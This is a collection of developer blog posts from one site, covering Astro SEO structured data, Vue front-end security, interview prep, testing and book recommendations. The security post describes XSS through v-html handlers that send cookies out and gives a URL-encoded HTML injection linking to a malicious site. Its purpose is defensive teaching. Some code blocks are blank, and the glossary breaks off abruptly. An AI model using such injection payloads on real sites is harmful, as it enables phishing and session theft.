Pagefind only indexes pages that are compiled to static HTML in `dist/`. SSR-only routes (Astro hybrid mode, no `prerender = true`) get skipped. For a typical content site, this is fine.
First build after wiring it up indexed 56 pages and 7,192 words.
Bonus: now that you have search functionality, add a [`SearchAction`](https://schema.org/SearchAction) to your `WebSite` JSON-LD. This is what unlocks the Google sitelinks search box on SERPs (the small search input that appears under your site's main result):
```typescript
{
'@context': 'https://schema.org',
'@type': 'WebSite',
url: 'https://neciudan.dev',
potentialAction: {
'@type': 'SearchAction',
target: 'https://neciudan.dev/search?q={search_term_string}',
'query-input': 'required name=search_term_string',
},
}
```
You'll need to wire `?q=` query parsing in your search page for this to actually work end-to-end. Pagefind's UI doesn't read URL params by default.
## 15. `HowTo` schema for tutorial-style posts
If a post walks the reader through sequential steps ("how to add Pagefind to Astro," "how I cut bandwidth"), [`HowTo`](https://schema.org/HowTo) schema marks the structure for Google.
Tutorial posts with `HowTo` schema get step indicators in SERPs and occasional carousel placement.
You need at least 3 steps for Google to render the rich result, and ideally 4 or more.
```typescript
{
'@context': 'https://schema.org',
'@type': 'HowTo',
name: 'How to add Pagefind site search to Astro',
totalTime: 'PT1H',
step: [
{
'@type': 'HowToStep',
position: 1,
name: 'Install Pagefind',
text: 'Run npm install --save-dev pagefind in your Astro project root.',
},
{
'@type': 'HowToStep',
position: 2,
name: 'Wire the postbuild script',
text: 'Add "postbuild": "pagefind --site dist" to package.json scripts.',
},
{
'@type': 'HowToStep',
position: 3,
name: 'Mark indexable content',
text: 'Add data-pagefind-body to the outer article element on each post template.',
},
{
'@type': 'HowToStep',
position: 4,
name: 'Build the search page',
text: 'Create src/pages/search.astro that loads Pagefind UI from /pagefind/pagefind-ui.js.',
},
],
}
```
A post can carry both `Article` and `HowTo` JSON-LD. Google reads both. Your posts on bandwidth optimization, building pipelines, and this checklist itself are all candidates.
## 16. `Speakable` JSON-LD on Article schema
For voice answer engines (Google Assistant, Alexa). One property in your existing Article schema, see [`SpeakableSpecification`](https://schema.org/SpeakableSpecification):
```typescript
speakable: {
'@type': 'SpeakableSpecification',
cssSelector: ['h1', '[data-speakable]'],
}
```
The `[data-speakable]` selector is a forward-looking hook. If you write a TL;DR in a future post and mark it `data-speakable`, voice engines will read it as the summary. Until then, the `h1` covers the headline.
Engines that don't care about Speakable ignore the property. There's no downside.
## 17. Content collection schemas (the one that found 10 bugs)
This is the one that surprised me.
I have a podcast section on the site ([Señors @ Scale](/senors-at-scale), 30 episodes). Each episode is a markdown file in `src/content/podcast/`. Standard Astro [content collection](https://docs.astro.build/en/guides/content-collections/) (the framework's typed-frontmatter system, where you define a schema once and Astro validates every file against it). Except I'd never declared the collection in `config.ts`.
It worked anyway. `getCollection('podcast')` was permissive. No schema, no validation, just whatever happened to be in the frontmatter. For a year and a half,, I'd been adding episodes by copying and pasting an existing one and editing the fields.
You can guess where this is going.
I wrote a Zod schema for the collection. (Zod is a TypeScript-first validation library; you describe the shape of an object, and it tells you whether real data matches.)
Then, before declaring the collection, I wrote a Vitest test that ran the schema against every episode's frontmatter.
Prerequisites if you want to follow along:
```bash
npm install --save-dev vitest gray-matter zod
```
The test goes at `tests/podcast-collection.test.ts` and runs with `npx vitest run` or `npm test` if you've wired it up.
```typescript
import { describe, it, expect } from 'vitest';
import matter from 'gray-matter';
import { z } from 'zod';
const podcastSchema = z.object({
title: z.string(),
episodeNumber: z.number(),
guest: z.string(),
description: z.string(),
spotifyUrl: z.string().url().optional(),
youtubeUrl: z.string().url().optional(),
appleUrl: z.string().url().optional(),
// ...
});
for (const file of episodeFiles) {
it(`${file} matches the podcast schema`, () => {
const { data } = matter(readFileSync(file, 'utf8'));
const result = podcastSchema.safeParse(data);
expect(result.success).toBe(true);
});
}
```
`safeParse` returns `{ success: true, data }` on a match or `{ success: false, error }` on a mismatch. Unlike `parse`, it doesn't throw, which is what you want when iterating over many files.
I ran it. It failed on 10 episodes.
Three had URL fields wrapped in markdown link syntax: `spotifyUrl: "[https://...](https://...)"`. Notion auto-formatting that I'd pasted in months ago and never looked at again.
Seven had `appleUrl: ""`. I had a habit of leaving the field blank when an episode hadn't yet been published on Apple Podcasts, intending to fill it in later.
I never filled it in. The Zod URL validator caught all seven instantly.
For 18 months, I'd been linking to broken Spotify URLs from my own episode pages.
While you're declaring podcast schemas, also emit [`PodcastSeries`](https://schema.org/PodcastSeries) on the podcast hub and [`PodcastEpisode`](https://schema.org/PodcastEpisode) on each episode/takeaway page. Podcast schemas are how Google's podcast surfaces (Search, Assistant) discover episodes.
Calling all of this an SEO tip is a stretch. But broken outbound links from your domain are something engines notice, and content collection schemas automatically catch them. Worth doing.
## 18. `dateModified`, shown to readers when distinct
Freshness is a ranking signal. `dateModified` already lives in your JSON-LD if you wire `updateDate` into `getArticleSchema`.
Show it to readers visually too, so they trust the article isn't stale:
```astro
{post.updateDate && post.publishDate &&
new Date(post.updateDate).toDateString() !== new Date(post.publishDate).toDateString() && (
Updated
)}
```
Only show it when the dates actually differ. Otherwise, it's noise.
## 19. `rel="prev"` / `rel="next"` and noindex on pagination
Astro's pagination provides `Astro.props.page.url.prev` and `page.url.next` for free.
```astro
{prevUrl && }
{nextUrl && }
```
Google [deprecated `rel=prev/next` as a ranking signal](https://developers.google.com/search/blog/2019/03/rel-next-prev-experiment) in 2019. Bing and other engines still use it, and it costs you nothing, so I keep it.
For the noindex part, Google's current guidance is mixed. The old advice was "noindex page 2+ of pagination." The newer advice is "make page 2+ self-canonical and let them rank if they're useful." I noindex page 2+ on my blog because they're not useful as landing pages (readers want the post itself, not a list of headlines). Your call.
## 20. `noindex` the 404 page
One-line change. Otherwise, the occasional 404 sneaks into search results, which is a bad experience for everyone:
```astro
```
Watch for "soft 404s" too. A soft 404 is a page that returns HTTP 200 OK but looks empty or error-shaped to Google ("No results found," "Sorry, this content is unavailable"). Search Console flags these and removes them from the index. If you have empty-state pages, give them real content or return a real 404.
## What's next on my list
Next quarterly audit will pick up:
- Dynamic per-post OG image generation with `@vercel/og` or `satori`. Useful for posts that don't ship with a hero image. The libraries are already installed.
- Visible breadcrumb UI to match the `BreadcrumbList` schema I shipped.
- `FAQPage` JSON-LD for the FAQ section below. The visible FAQ is here; the schema requires extending the post template to read a `faq:` frontmatter array.
- Site-wide font preconnect in the layout.
- [Google Search Console](https://search.google.com/search-console) and [Bing Webmaster Tools](https://www.bing.com/webmasters) verification + indexing requests for the new pages. Without these, you're blind to crawl errors and Core Web Vitals reports.
- [IndexNow](https://www.indexnow.org/) push-indexing for Bing and Yandex. Cheap to wire from a Netlify build hook.
Worth saying out loud: everything on the main list is **on-page SEO** (things you control inside your own pages). **Off-page SEO** (backlinks, brand mentions, real-world authority) is the other half of the picture and doesn't fit in a code-driven checklist. Backlinks are when other sites link to yours, and they're acquired by writing things people want to link to, then asking others to link to them.
## Glossary
A quick reference for the terms used above.
- **Anchor text**: the visible text inside a link.
- **Backlink**: a link from another site to yours. The currency of off-page SEO.
- **Canonical URL**: the "official" URL of a page when multiple URLs serve similar content. Set via ``.
- **CLS** (Cumulative Layout Shift): how much elements jump around as a page loads. Lower is better.
- **Core Web Vitals**: Google's three page-experience metrics. LCP, CLS, INP.
- **Crawler / bot**: software that fetches and indexes web pages (Googlebot, Bingbot, GPTBot, PerplexityBot).
- **E-E-A-T**: Experience, Expertise, Authoritativeness, Trustworthiness. Google's framework for evaluating content credibility.
- **Featured snippet**: the answer box at the top of Google for question queries.
- **INP** (Interaction to Next Paint): how quickly the page responds to taps, clicks, and key presses. Replaced FID in March 2024.
- **JSON-LD**: structured data embedded in HTML as a `
```
When other users would open the article, if the article is rendered in an element, the script would execute.
```
`
```
Typically you would do this when you want users to be able to add markdown to their comments or the ability to bold certain words.
Now, Vue is pretty smart in detecting script tags and prevents them by default. Unfortunately, attackers rarely use them, instead, they usually do something like this.
```
This is a comment!
```
Inside the onload or onerrormethods the attacker would make a fetch request and send the user entire cookies or local storage.
```
```
Pretty scary, right?
The good news is that it’s totally avoidable. The recommended solution is to not use `v-html` for user-generated content. That way we all sleep better at night.
But if you absolutely must use it, for some reason only you and your corporate overlords know, you must sanitize the user input.
[Sanitise-html](https://www.npmjs.com/package/sanitize-html) is a popular library that handles this well.
Another best practice is to also validate proper user input on the backend side and prevent malicious code from reaching the DB.
## Security Logging

**We measure everything.**
Page views, clicks, events, errors, how much the user is scrolling, heatmaps, and all sorts of user-related data that we can use to determine if what we are building actually works.
And unfortunately, we sometimes might send a little too much.
Typically we use third-party SaaS tools like Datadog, New Relic, Google Analytics, or any number of observability tools.
That means that every security vulnerability we send from our front-end client is stored in a database that you have no control over.
**What Security Vulnerabilities are we sending?**
The most common vulnerable data we are sending is:
- reset password tokens
- promo codes
- checkout generated links
Why does this happen? Because we are using query params in the URL for sensitive data.
```
https://your-website.com/reset-password?token=AXSNNm123
```
When this happens, our third-party o11y library of choice will log this URL as visited.
If an attacker gets access to your logged data, they can use these tokens to hijack user accounts or get access to unused promo codes, or visit checkout links and get access to user card information.
To prevent this it’s recommended to not use query params and use hashes instead.
```
https://your-website.com/reset-password#token=AXSNm123
```
Hashes are normally not logged or persisted in observability tools.
Most importantly: it is recommended you audit your URLs and pages to make sure you do not show user data on public pages.
For example:
```
https://your-website.com/order/1231233212
```
If this URL is accessed by someone other than the User who created the order, we must not show sensitive data like card information or the user's address.
## Spoofing

Phishing and Spoofing have gotten very creative over the years.
And while both employ similar tactics to achieve their result, to take the user to their own website and try to steal their password or information, they achieve this in different ways.
Phishing would fake an official email and inside the call to action, they will redirect you to their own website.
I cannot even count the number of fake Jira Emails or AWS Emails I have received trying to make me click and steal my password.
Normally email clients catch this and all you have to do is be vigilant: check the sender, the content, and that the link you are going to has the correct domain name.
Spoofing on the other hand is way more dangerous because it takes advantage of your website's flaw to redirect you to another website.
Think of a page where you can add promo codes. You would probably send marketing emails to your users with an URL like:
```
https://your-website/promos#PROMO300
```
And on the page show the promo code in a nice way with an APPLY PROMO button.
In your code, you may grab the promo code using `location.hash` and then render it using the `v-html` tag.
By using the `v-html` tag in this situation you have opened up the Spoofing vulnerability.
A creative attacker can create a very nice-looking HTML using your URL like this:
```
https://your-website/promos#
```
Of course the above looks malicious, but encoded it will look like this:
```
https://your-website/promos#%3Cdiv%3EPROMO%20is%20APXS1230%20%3Cbr%2F%3E%20%3Ca%20href%3D%22https%3A%2F%2Fother-malicious-website.com%22%3EClick%20here%20to%20apply%3C%2Fa%3E%3C%2Fdiv%3E
```
Not that easy to spot it now, is it?
The attacker will take advantage of the sense of security your users will feel when on your website and not think twice about clicking on a link.
Specifically on promotions-related pages.
Like in the case of XSS the best approach is to never use v-html or {{}} to render user content or content from the URL / Cookies or another medium the attacker can exploit.
## Conclusion
To minimize the risk of security vulnerabilities, it’s important to follow best practices, such as validating user input, using encryption for sensitive data, and implementing proper access controls.
Additionally, implementing security logging and monitoring can help detect and respond to potential security threats. As well as activating dependency checks in your pipeline (npm audit, dependabot)
And the best advice comes from the Vue Documentation page itself:

Always sanitize user input and try not to render using v-html anything that can be abused by attackers (URLs, Cookies, User Generated Content)
---
## Crack the Tech Interview
URL: https://neciudan.dev/crack-the-coding-interview
Published: 2023-02-06
Finding a job has never been more challenging.
Almost every tech or product company has implemented the Amazon Interviewing Process.
Step after step of grueling interview sessions trying to test candidate's knowledge, coding skills, soft skills, system design skills, and more.
Preparing for these challenges is, quite frankly, a challenge in itself.
Fortunately, there are many high-quality, free resources available online to help you prepare and shine in your next interview. Here are the best of the best.
## Cracking the Algorithm Challange
Algorithmic problems are a little outdated but there are still companies who use them, either through a home tests platform like Codility or a pre-interview with 2–3 exercises.
Big O Nation resources:
- [A begginer guide to big O](https://robbell.io/2009/06/a-beginners-guide-to-big-o-notation)
- [Big O CheatSheet](https://www.bigocheatsheet.com)
- [MIT Free Courses](https://ocw.mit.edu/search/?q=algorithms&type=course)
Practices websites:
- https://www.geeksforgeeks.org/
- https://leetcode.com/
- https://www.hackerrank.com/
- https://adventofcode.com/ and the /r/adventofcode
- https://www.codewars.com/
Extra:
- https://algorithm-visualizer.org/ (A tool that helps you visualize how famous algorithms work)
- [Grokking Algorithms](https://www.goodreads.com/book/show/22847284-grokking-algorithms-an-illustrated-guide-for-programmers-and-other-curio?from_search=true&from_srp=true&qid=O9r64GRClJ&rank=7)
## Cracking the Frontend Tech Call
A technical interview is usually the first real test for any interviewing process. Usually, if you fail, that’s it, game over.
In the frontend world, there are a lot of bloggers and tech writers who explain a lot of Javascript concepts really really well.
Here are my favorites:
- Dmitri Pavlutin likes to write about React, Javascript, and general design patterns. I would really recommend his article explaining this in Javascript.
- Dan Abramov is the creator of Redux and a Core Member of the React Development Team. He likes to write about best practices in React but also about classic interview questions like let vs const. Dan also has a nice course about Javascript Mental Models called Just Javascript
- If you are interviewing for a Vue.js position, check out Fotis Adamakis, he writes about everything Vue related from State Management, how harmful Mixins are, but also about Vue 3 mistakes you should avoid doing.
- Lydia Hallie is also an amazing writer who likes to illustrate visualization of javascript concepts. Her Javascript Visualised series is one of my favorites
- Another favorite of mine is Josh Comeau, he likes to write about React and CSS but he also has two amazing courses (The Joy of React and CSS for JS Developers) that, while not FREE, I would recommend 100%.
Extra:
I also enjoy these humourous but also educational youtube channels:
- [FireShip](https://www.youtube.com/@Fireship)
- [The Señor Developer](https://www.youtube.com/@theSenorDeveloper)
- [Tim Benniks](https://www.youtube.com/@timbenniks)
## Cracking the Live Coding Interview
The live coding interview or a week-long home assignment is where you get to showcase your coding skills.
There are 3 pillars that you need to tick to impress during this process:
- Typescript
- Testing
- Clean Code
Here are some GitHub repositories and projects that can help you excel at this part:
- JavaScript30: This repository contains 30 mini projects, each focusing on a different aspect of JavaScript, such as arrays, loops, and fetch API.
- You Don’t Know JS (YDKJS): This is a series of books diving deep into the core mechanisms of the JavaScript language, written by Kyle Simpson.
- Awesome JavaScript: A curated list of useful JavaScript resources, including tutorials, libraries, and tools.
- JavaScript Algorithms and Data Structures: A repository containing JavaScript implementations of common algorithms and data structures, such as sorting, searching, and graph algorithms.
- JavaScript Design Patterns: A collection of design patterns and best practices for writing maintainable and scalable JavaScript code.
And here are some amazing Typescript Resources:
- TotalTypescript has 2 amazing beginner tutorials and one paid version.
- Typescript Handbook
- Typescript Type Challenges
I would also like to recommend some Reddit subreddits like:
- /r/programming
- /r/javascript
- /r/typescript
## Cracking the System Design Interview
One of the hardest interviews for Frontend Engineers.
To truly master this part I would recommend the book System Design Interview by Alex Xu but also his Youtube Channel ByteByteGo
Other amazing resources are:
- Patterns.dev
- Web.dev
- Smacss.com
- Design Systems Handbook
- Smashing Magazine
And here are some case studies:
👉 Design Messenger App : https://bit.ly/3DoAAXi
👉 Design Reddit: https://bit.ly/3OgGJrL
👉 Design Netflix: https://bit.ly/3GrAUG1
👉 Design Instagram: https://bit.ly/3BFeHlh
👉 Design Dropbox: https://bit.ly/3SnhncU
👉 Design Youtube: https://bit.ly/3dFyvvy
👉 Design Tinder: https://bit.ly/3Mcyj3X
👉 Design Yelp: https://bit.ly/3E7IgO5
👉 Design Whatsapp: https://bit.ly/3M2GOhP
👉 Design URL shortener : https://bit.ly/3xP078x
👉 Design Amazon Prime Video: https://bit.ly/3hVpWP4
👉 Design Twitter: https://bit.ly/3qIG9Ih
👉 Design Uber: https://bit.ly/3fyvnlT
All of these may seem intimidating, but if you build a habit, of one article each day, writing down what you find interesting using post-it notes, the knowledge you gain will compound and you will get your dream job in no time.
And you can check on levels, who is hiring at the moment.
In the end, I will leave you with this Japanese proverb:
“Nana korobi, ya oki” which means “Fall down seven times, stand up eight.”
---
## Writing The Perfect Tests for your Application
URL: https://neciudan.dev/writing-the-perfect-test-for-your-applications
Published: 2023-01-23
We, as humans, are all looking for perfection. Some are trying to capture the perfect sunset, some are trying to ride the perfect wave and Software Engineers are looking for perfection in their code.
We want to write clean, maintainable code, with as little fragility as possible, and to achieve this most of the time the correct approach is with lots and lots of tests.
I wrote about the [5 types of testing practices you need in your application](/articles/5-testing-practices-you-should-have-in-your-cicd-pipeline), but in this article, I want to talk about the app-saving tests, that can help you save time, money, and stress.
We can categorize the perfect tests into 3 types:
- The test that helps you build
- The test that helps you debug
- The test that helps you sleep well at night
## The Test that helps you Build

Photo by Randy Fath on Unsplash
The purpose of Software Testing is to make sure our code works!
And it’s important our code works in as different situations as possible. Testing just the happy path is not enough, we have to add tests for boundary situations and errors.
For example, we have an array of numbers:
`const arr = [1,2,3,4,5]`
And we want to write a simple function that adds +1 to every number of the array without using any array build-in functions like map or reduce
If you start with a simple for loop from 0 to 5, iterate through the array, and add 1 to each value, we can create a boundary test where instead of passing a 5-value array we will pass a 6-value array or an empty array.
Our tests would fail, and we will improve our design by changing the for loop to include the array's length.
We are continuously iterating through our design and building better and more maintainable code.
You write your tests first, make sure they fail and write the most straightforward code that will make your test case pass.
Afterward, you look at your code and see if it can be improved in any way, if not you add another test case and continue the cycle.
*This is what Test-Driven-Development (TDD) is all about.*
## The Test that helps you debug

Photo by Mediamodifier on Unsplash
Has this ever happened to you?
You’re working on your project and you find a critical bug that is hard to reproduce but you just know it wasn't there in the last sprint.
It was introduced recently, but you don't know how and more importantly when.
In October 2022, Git introduced a very handy command called git bisect
git bisect is a useful tool for quickly identifying the commit that introduced a bug in your code. It can save you a lot of time compared to manually searching through the commit history.
But before you run the git bisect process, you need a test to determine if the bug is present or not.
Let’s say you have a bug in the login flow. You would write an e2e that simulates the flow for you.
Having the test ready, here’s how to use it to find the commit that introduced a bug:
1. Start the bisect process by running `git bisect start`.
2. Identify a commit that is known to be “good”, and run `git bisect good `.
3. Identify a commit that is known to be “bad”, and run `git bisect bad `.
4. Git will then check out a commit that is halfway between the good and bad commits.
5. Run your test to determine whether the current commit is good or bad. If it is good, run `git bisect good`. If it is bad, run `git bisect bad`.
6. Repeat this process until git bisect finds the commit that introduced the bug.
7. When git bisect has found the commit, it will output the commit hash and message.
8. Run git bisect reset to stop the bisect process and return to the HEAD commit.
Automating this process will save you hours and hours of checking commit histories, especially if the bug was introduced months ago and you have a very big codebase.
## The Test that helps you Sleep well at night

Photo by bruce mars on Unsplash
Engineers love complexity.
Like building software that does things, nobody or no other software has done before.
And the same is true for our automation processes. Engineers like to add automated flows for visual tests, performance tests, unit tests, and every other kind of testing flow imaginable.
I actually wrote a piece about [5 testing practices you should have in your CI/CD pipeline](/articles/5-testing-practices-you-should-have-in-your-cicd-pipeline), but the truth of the matter is that a very simple synthetic test would give you more value than all of those combined.
Sure, testing practices in your CI/CD can prevent faults from being deployed, but bugs are tricky, they like to hide in dark places and only come out during the perfect moment (Like a long weekend, or Christmas)
Having a smoke test or a synthetic test that covers the most critical business flow in your application **running on the production environment**, will give everyone involved that amazing good night's rest without worrying about the feature they deployed on Friday.
Third-party monitoring and observability tools like DataDog, Sentry, or Testing as Service platforms allow you to build these kinds of tests that run on your application every minute and alert you if anything goes wrong.
Building these tests in your pipeline, having canary deployments, and running them only on the affected group could save your company a lot of money and reduce the stress level of all the company's engineers.
## Conclusion
Software Testing is not only useful to verify the correctness of your software.
Taking full advantage of tests you can use them to better write your code using TDD practices like Red-Green-Refactor or Triangulation.
You can automate debugging with git bisect and a handy E2E test to quickly find when a bug was introduced in your codebase.
And having a small and simple synthetic test that runs on your production environment can make sure your dreams at night are without worry and stress.
**Doesn't that sound just perfect?**
---
## 10 Software concepts I learned in 2022
URL: https://neciudan.dev/10-software-concepts
Published: 2023-01-05
This year was without a doubt a year full of learning, from learning to Snowboard to How to Traverse a Graph and even trying and failing to learn how to whistle.
And while not everything I learned can be applied in my career as a Frontend Engineer, let me share with you the lessons that I believe made me better at my job, and in turn, it may help you as well.
## 1. Margin Block and Gaps
As soon as I started coding, the first CSS properties I learned about were margins and paddings.
Color me surprised when I learned there exists a different but similar property called margin-block.
For you and me margin-block-start is the same as margin-top and margin-inline-start the same as margin-left. But if you switch the language of the Browser from English to Arabic the vertical and horizontal axes will be reversed and Users will start reading from right to left.
Why use these alternatives? Because not all languages are left-to-right, top-to-bottom.
By using margin-block you will basically create the same UX design for both reading experiences.
It’s not just margin: there are properties for padding, border, and overflow as well.
The main selling point for logical properties is internationalization. If you want your product to be available in a left-to-right language like English and a right-to-left language like Arabic, you can save yourself a lot of trouble by using logical properties.
Both flexbox and grid layouts have a common property called gap. It basically adds spacing between columns and/or rows.
It comes with specific properties as well: column-gap and row-gap.
Before, I used to either justify-content with flex-start or flex-end and then use a combination of margins and padding to get the desired result.
Now a quick column-gap: 20px solves the problem.
## 2. Dynamic Programming
Dynamic programming is a method for solving problems by breaking them down into smaller subproblems and storing the solutions to these subproblems in a table so that they can be reused (instead of recomputing them).
Let’s think of a common exercise where this can be applied. Imagine you are a world-class thief and you are alone in a store with a bag that can handle 4 kg of products.
In front of you are the following items:
A laptop worth 2000$ and a weight of 3kg
An electric guitar worth 1500$ and a weight of 1kg
A stereo system worth 3000$ with a weight of 4kg
To steal the maximum amount of money you have to go through each item and create a number of sub-sets to calculate the maximum amount. For 3 items this is easy — you have to calculate 8 possible sets, but for each item, you add the number of sets doubles.
This algorithm works in O(2^n) time, which is very very slow.
Dynamic Programming, on the other hand, creates a table and breaks the problem into sub-problems. So instead of the 4kg limit that we have in our bag, we try to find the best possible solution for 1kg, then for 2kg, 3kg, and finally for 4.
Our table will look like this:
For each item row you have to answer the question, is this item the best option to steal at this cell and moment in time?
The first row checks if the Guitar is the best solution, without knowing about the other items, on the second row the Stereo does not fit into the small bags only when it reaches the 4kg limit does it become the optimal solution.
In the last row, for the 3kg bag, the laptop is the best solution, but once it reaches the 4kg it has to compare the previous solution (3000$) or put the laptop which is (2000$) and it sees that it has 1kg left and takes the value from the first column that we calculated all along.
The actual formula used for this is more complicated, and it’s a story for another time.
## 3. Git bisect
git bisect is a useful tool for quickly identifying the commit that introduced a bug in your code. It can save you a lot of time compared to manually searching through the commit history.
Here’s how to use it to find the commit that introduced a bug:
Start the bisect process by running git bisect start.
Identify a commit that is known to be “good”, and run git bisect good .
Identify a commit that is known to be “bad”, and run git bisect bad .
Git will then check out a commit that is halfway between the good and bad commits.
Run your script to determine whether the current commit is good or bad. If it is good, run git bisect good. If it is bad, run git bisect bad.
Repeat this process until git bisect finds the commit that introduced the bug.
When git bisect has found the commit, it will output the commit hash and message.
Run git bisect reset to stop the bisect process and return to the HEAD commit.
## 4. Domain Driven Design concepts
DDD is a way to build your software to ensure as little coupling between modules as possible. It is very popular in the micro-service world and it introduces concepts to help you design your software, such as:
Ubiquitous language. A vocabulary shared by everyone involved in a project, from domain experts to stakeholders, to project managers, to developers
Bounded Context. A boundary within a domain where a particular domain model applies.
Entities. An entity is an object with a unique identity that persists over time.
Value objects. A value object has no identity. It is defined only by the values of its attributes. Value objects are also immutable.
Domain Driven Design is really powerful and can create beautiful clean architecture and communication between domains is very straightforward.
## 5. Javascript on the Edge
A content delivery network (CDN) is a distributed network of servers that are used to deliver content to users based on their geographic location. A CDN stores copies of content in multiple locations, and when a user requests content, the CDN delivers it from the server that is closest to the user.
This helps to reduce the distance that the content must travel, and can improve the performance and reliability of a website.
We have taken this a step further, while we stored static content like images, fonts, and files on CDNs for a while, recently we started to move complex functionality on the server as well.
Lambda functions have existed for a while, but in the Frontend World we just started to move pure functions, network requests and parsers and all sorts of complex stateless functionality to “the edge” as we call it.
Basically, remove the bloat of these functions from the main javascript bundle and keep it in servers close to the users so they run very fast and can be cached.
## 6. How important Observability is
Since we started coding, for every website we build, we always had to add to it different tracking scripts. The most common of course is Google Analytics.
But the usage of these tracking tools was used mainly to measure clicks, conversion rate, and page views. And it was used primarily by marketing or more recently by Data analysts.
But new tools in the industry like DataDog or Sentry have added another layer to track. They started measuring errors and combining logs, and you can send as many metrics as you desire to observe the interactions of your piece of software with the users.
An undeniable fact in programming is that software has bugs, and at Scale, errors are plenty and vary in size and how they affect the user.
Using DataDog, we can group issues, see which are handled, and break the errors by Browser, OS, or any number of attributes we can deduce about the user.
For example, we figured out that a particularly devastating Hydration Error inside a Scoped Slot in our Vue Application was only happening on a version of Safari. And using this browser ourselves we could reproduce and debug the issue.
## 7. Typescript Concepts
I always knew the basics, and how to make types work but I did not understand how Typescript works behind the scenes and what it does.
Here are some examples that were new to me and helped me move forward when using Typescript.
Types are not sealed. If a function has a param type Shape with height and width you can pass it a different type like Cube that has height width and length.
Types and interfaces are mostly the same. Types can create unions and interfaces can be augmented
If your function does not modify its parameters then declare them read-only. This makes its contract clearer and prevents inadvertent mutations in its implementation.
TypeScript gives you a few ways to control the process of widening. One is const. If you declare a variable with const instead of let, it gets a narrower type.
When you write as const after a value, TypeScript will infer the narrowest possible type for it. There is no widening. For true constants, this is typically what you want.
Evolving any! It happens when you don't declare it as any.
For example result = [] as you push in the array it changes the type from any[] to number[]
While TypeScript types typically only refine, implicit any and any[] types are allowed to evolve. You should be able to recognize and understand this construct where it occurs.
For better error checking, consider providing an explicit type annotation instead of using evolving any
The evolving array is tripped up by iterators like forEach
## 8. The New Project Razor
When deciding whether to take on a new project, follow a simple two-step approach:
Is this a “hell yes!” opportunity? If not, say no. If yes, proceed to Step 2.
Imagine that this is going to take 2x as long and be 1/2 as profitable as you expect. Do you still want to do it? If no, say no. If yes, take on the project.
Using this approach will force you to say no much more often — you’ll only say yes to projects you are extremely excited about, which are ultimately those that drive asymmetric rewards in your life.
## 9. Moores Task and Shortest Process Time
Consider you have four tasks A, B, C, and D.
Task A is estimated at 4h, B at 9h, C at 12h, and D at 18h.
Doing all these tasks will take above the desired deadline and that deadline cannot be broken.
Moore's Law says to throw away the longest-taking task. In our case D.
Work and repeat at scale.
Shortest Process Time:
Say you have two projects: one takes 4 days for Client A and one takes 1 day For client B.
If you do the big one first and the small one last the total waiting time of your clients combined is 9 days: Client B waits 5 days, and Client A waits 4 days.
Doing it in reverse makes it 6 days: Client B waits 1 day, and client A waits 5 days
Here you are optimizing for client happiness while still taking one week for your work.
## 10. How to Listen
While this is not frontend specific, I believe that taking the time to actually listen to what people around me are saying, helped me become a better programmer.
Usually, I would either pick up on the topic and if it was not interesting to me I would normally tune it out, and this was the best-case scenario.
Sometimes I would be on my phone and not pay attention at all to my teammates during meetings or even when something tech-related was discussed.
But the worst of it was when I would react too fast. Usually by assuming, wrongly, that I know what the person is talking about and that I could, again wrongly, explain it better.
By doing this I would just add confusion to the topic and complicate it further.
And even when receiving feedback or being told a piece of information, my first instinct was always to react, to show I know about it, or I know something similar but never to listen and assimilate that piece of knowledge.
Being aware of this and taking time to pay attention, listen, and be more mindful of my working environment has helped me learn most of the items iterated in this article.
So if you can take just one thing from this article, let it be this point.
We all are actively looking for new knowledge by reading, browsing the internet, and exploring new tech. But Actively Listening to what people around us are saying can give us so much information that will pique our curiosity and trigger a domino effect on our learning path.
If you liked this article, don’t forget to follow me on Medium or on Twitter to connect and exchange ideas.
I write mostly about Testing, Frontend Engineering, or Productivity. Here you can also check out my youtube channel.
Here are a couple of articles I’ve also written:
Testing Practices you should have in your CI/CD pipeline
Tech Books you have to read to be a better Engineer
Javascript Component Patterns to Scale up
The Bowling Kata
5 Tips to Solve Common Pitfalls With React Native
CSS: The !important parts
---
## 5 Amazing Software Testing Books You have to Read
URL: https://neciudan.dev/5-amazing-software-testing-books-you-have-to-read
Published: 2022-12-29
*Books are the perfect gift*. For others or for yourself, there is nothing that can bring more value to the people closest to you.
If you have a colleague that always misses writing unit tests (like I sometimes do), what better way to give him feedback than gifting him a book that focuses on Testing Practices?
This article focuses on books about Testing, if you are interested in general Software Tech Books, you can read an article about [Tech Books you must read to be a better Software Engineer](/articles/tech-books-you-must-read-to-be-a-better-software-engineer)
Testing Software, as a practice, is still in its infancy even though it has been around forever, and nobody can deny that software with a robust set of tests is not only better but also last longer (is more maintainable and has a better Developer Experience).
Here are my 5 recommendations, I want to go through each of them and highlight what you will learn and what the best parts of the book are.
- Test-Driven Development by Kent Beck
- Effective Software Testing by Mauricio Aniche
- Full Stack Testing: A Practical Guide for Delivering High-Quality Software by Gayathri Mohan
- Continuous Delivery: Reliable Software Releases Through Build, Test, and Deployment Automation by Jez Humble and David Farley
- Testing Javascript Applications by Lucas da Costa
- Test-Driven Development: By Example
## Test Driven Development

Test Driven Development by Kent Beck is the Software equivalent to the Bible regarding Testing.
Not only by advocating for a practice that helps you design better software, but by explaining how to effectively Test your code.
This book is a hands-on experience, and you will write different pieces of software while doing TDD.
It does have the fault of using OOP as a paradigm for designing Software and it can get tricky if you plan on following along using a functional programming language or a language that does not implement OOP at its fullest like Javascript.
Nevertheless, it is practical, it explains amazing concepts from TDD like the Red-Green-Refactor pattern or Triangulation.
If you still have doubts about Unit Testing, give this book a try, it will convenience you of the utility and showcase how TDD can improve your coding abilities and take your design to the next level.
## Effective Software Testing

Interested in getting started with Software Testing? Then this book is perfect for you, even if you are already experienced in the art of testing, Mauricio Aniche adds enough new concepts to keep even the most Senior Engineer engaged.
The author, a professor by trade, goes into the gritty detail of creating your test suites as a developer and explains all testing practices with backed-up research and references.
Overall, Effective Software Testing is a useful resource for anyone involved in software testing, including testers, test managers, and developers.
It provides a comprehensive overview of the software testing process and offers practical insights and techniques for improving the effectiveness of your testing efforts.
The only downside is that the author uses Java for all the examples. But we can't all be perfect and code in Javascript every day right?
## Full Stack Testing

Looking for a comprehensive Introduction to Testing? Then this book is for you! It teaches you every strategy and practical implementation you can use either as a developer or a QA engineer.
The best part of this book is its practicality. There are more than 30 tools with examples that you can use as you are reading this book. The book has examples of:
- Exploratory Testing
- Test Automation
- Data Testing
- Mobile Testing
- Visual Testing
And more… like integrating everything in CI/CD pipelines.
The downside of this book is that it tries to explain too much, too many subjects, and because of this it does not deep dive into a particular skill.
And while it does have tools and practices that are used NOW, it does not mean it will be factual once new paradigms come out.
## Continuous Delivery

